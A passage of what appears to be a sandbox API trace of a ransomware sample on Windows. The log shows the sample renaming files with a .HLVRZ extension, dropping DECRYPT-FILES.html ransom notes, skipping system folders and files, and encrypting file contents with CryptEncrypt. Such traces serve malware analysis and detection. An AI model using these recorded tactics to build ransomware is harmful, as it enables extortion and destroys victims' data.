lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0131.647] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0131.647] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0131.647] lstrlenA (lpString="CREATEEVENTW") returned 12 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0131.647] lstrlenA (lpString="CREATEFIBER") returned 11 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0131.647] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0131.647] lstrlenA (lpString="CREATEFILE2") returned 11 [0131.647] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0131.648] lstrlenA (lpString="CREATEFILEA") returned 11 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0131.648] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0131.648] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0131.648] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0131.648] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0131.648] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0131.648] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0131.648] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0131.648] lstrlenA (lpString="CREATEFILEW") returned 11 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0131.648] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0131.648] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0131.648] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0131.648] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0131.648] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0131.648] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0131.648] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0131.648] lstrlenA (lpString="CREATEJOBSET") returned 12 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0131.648] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0131.648] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0131.648] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0131.648] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0131.648] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0131.649] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0131.649] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0131.649] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0131.649] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0131.649] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0131.649] lstrlenA (lpString="CREATEPIPE") returned 10 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0131.649] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0131.649] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0131.649] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0131.649] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0131.649] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0131.649] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0131.649] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0131.649] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0131.649] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0131.649] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0131.649] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0131.649] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0131.649] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0131.649] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0131.649] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0131.650] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0131.650] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0131.650] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0131.650] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0131.650] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0131.650] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0131.650] lstrlenA (lpString="CREATETHREAD") returned 12 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0131.650] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0131.650] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0131.650] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0131.650] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0131.650] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0131.650] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0131.650] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0131.650] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0131.651] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.HLVRZ") returned 51 [0131.651] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.HLVRZ" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.hlvrz"), dwFlags=0x0) returned 1 [0131.660] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.660] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.660] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.661] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.661] FindClose (in: hFindFile=0x3b81480 | out: hFindFile=0x3b81480) returned 1 [0131.661] CloseHandle (hObject=0x528) returned 1 [0131.661] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0131.661] lstrcmpW (lpString1="1046", lpString2=".") returned 1 [0131.661] lstrcmpW (lpString1="1046", lpString2="..") returned 1 [0131.661] lstrcatW (in: lpString1="1046", lpString2="\\" | out: lpString1="1046\\") returned="1046\\" [0131.661] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1046\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch=":\\Windows") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\Program Files") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\Games\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\Tor Browser\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\ProgramData\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0131.661] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1046\\", lpSrch="\\All Users") returned 0x0 [0131.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.661] lstrlenW (lpString="eogwkz.dat") returned 10 [0131.661] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\\\eogwkz.dat") returned 38 [0131.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1046\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0131.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.662] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0131.662] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\\\DECRYPT-FILES.html") returned 46 [0131.662] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1046\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0131.663] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0131.664] CloseHandle (hObject=0x470) returned 1 [0131.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.664] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1046\\*") returned="C:\\588bce7c90097ed212\\1046\\*" [0131.664] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x54bb1409, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81140 [0131.665] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0131.665] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x54bb1409, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0131.665] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0131.665] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0131.665] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bb1409, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x54bb1409, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x54bb1409, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0131.665] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0131.665] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bb1409, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x54bb1409, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x54bb1409, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0131.665] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0131.665] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.665] lstrlenW (lpString="eogwkz.dat") returned 10 [0131.665] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1046\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0131.665] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1046\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1046\\eogwkz.dat" [0131.665] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1046\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.665] CloseHandle (hObject=0x0) returned 0 [0131.666] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0131.666] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0131.666] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\") returned 27 [0131.666] lstrlenW (lpString="eula.rtf") returned 8 [0131.666] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1046\\" | out: lpString1="C:\\588bce7c90097ed212\\1046\\") returned="C:\\588bce7c90097ed212\\1046\\" [0131.666] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned="C:\\588bce7c90097ed212\\1046\\eula.rtf" [0131.666] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0131.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0131.666] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3683) returned 1 [0131.667] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0131.667] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0131.890] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0131.890] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0131.890] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0131.891] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0131.891] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0131.891] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.892] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0131.892] CloseHandle (hObject=0x5f8) returned 1 [0131.892] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.892] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0131.893] CloseHandle (hObject=0x0) returned 0 [0131.893] CloseHandle (hObject=0x5f4) returned 1 [0131.893] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.894] VirtualFree 